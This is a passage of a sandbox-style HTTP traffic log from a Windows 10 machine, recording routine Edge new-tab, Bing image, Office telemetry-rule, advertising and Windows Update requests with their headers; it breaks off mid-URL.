Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732110223131&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0CB77821E0D96F30089A6D1CE1DE6E70&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1BCcf74d5b3bd6af5a9ecf31732110224; XID=1BCcf74d5b3bd6af5a9ecf31732110224
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732110223130&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1b0e0e024edb478d929df10c5a0b7363&activityId=1b0e0e024edb478d929df10c5a0b7363&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=CFF88336D72F401D9AB7275CDCDAC0FA&MUID=0CB77821E0D96F30089A6D1CE1DE6E70 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0CB77821E0D96F30089A6D1CE1DE6E70; _EDGE_S=F=1&SID=2EF7A752059B629115E9B26F045063B8; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239391389253_1KB1DRQJOMFT2TY1Q&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0CB77821E0D96F30089A6D1CE1DE6E70&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=ac0a1e4de51d41f6bf0651cda6419276 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0CB77821E0D96F30089A6D1CE1DE6E70; _EDGE_S=F=1&SID=2EF7A752059B629115E9B26F045063B8; _EDGE_V=1; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=1777987859&PG=PC000P0FR5.0000000IRU&REQASID=A4547920AA3F49C6A102C14DAD48AFED&UNID=338389&ASID=7d6bc2297b224056a45a50ec02a2a7ca&&DS_EVTID=A4547920AA3F49C6A102C14DAD48AFED&DEVOSVER=10.0.19045.2006&REQT=20241120T134304&TIME=20241120T134337Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239391389256_1SXED27HM56UOBU19&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=1777987859&PG=PC000P0FR5.0000000IRU&REQASID=A4547920AA3F49C6A102C14DAD48AFED&UNID=338389&ASID=7d6bc2297b224056a45a50ec02a2a7ca&&DS_EVTID=A4547920AA3F49C6A102C14DAD48AFED&DEVOSVER=10.0.19045.2006&REQT=20241120T134304&TIME=20241120T134337Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2XGUk4Zy5p9BXkV&MD=+K8atg+2 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T134408Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=0a3c1b123de64a04b4d15aadbb870b9d&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593726&metered=false&nettype=ethernet&npid=sc-88000045&oemName=tgwigv%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=tgwigv20%2C1&stabe